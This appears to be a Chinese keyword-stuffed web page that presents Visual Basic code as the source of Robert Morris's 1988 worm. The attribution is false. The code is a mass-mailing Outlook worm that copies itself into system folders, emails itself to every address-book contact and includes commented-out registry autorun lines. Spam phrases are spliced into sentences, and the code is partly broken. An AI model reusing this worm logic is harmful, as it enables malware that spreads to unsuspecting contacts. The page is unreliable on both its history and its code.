1.1988年RobertMorris释放的首个蠕虫病毒的源代码
1988年RobertMorris释放的首个蠕虫病毒的源代码
在年，Robert Morris释放了首个蠕虫病毒，深圳溯源码燕窝品牌排行其源代码的reentranlock 源码片段如下：
```vb
Sub Main()
'TaskVisible。App.TaskVisible = False
On Error Resume Next
Dim Location,openvino 源码 Location2, DesLocation, DesLocation2
Location = App.Path & "\" & App.EXEName & "肢扮.exe"
Location2 = App.Path & App.EXEName & ".exe"
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\镇迟Mapi.exe"
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count > 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = Merry.Body
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
End If
If Msg.To > "" Then
Merry.Send
End If
Next
Beep
End If
Next
End If
Dim RegSet
Set RegSet = CreateObject("wscript.shell")
'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\MAPI", "C:\WINNT\SYSTEM\MAPI.EXE"
'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\winMAPI", "C:\WINNT\SYSTEM\winMAPI.EXE"
End Sub
```
请注意，由于蠕虫病毒是licode源码恶意软件，其传播和操作可能导致严重的wxid源码安全风险。这段代码仅供教育和研究目的，绝不应在实际环境中运行。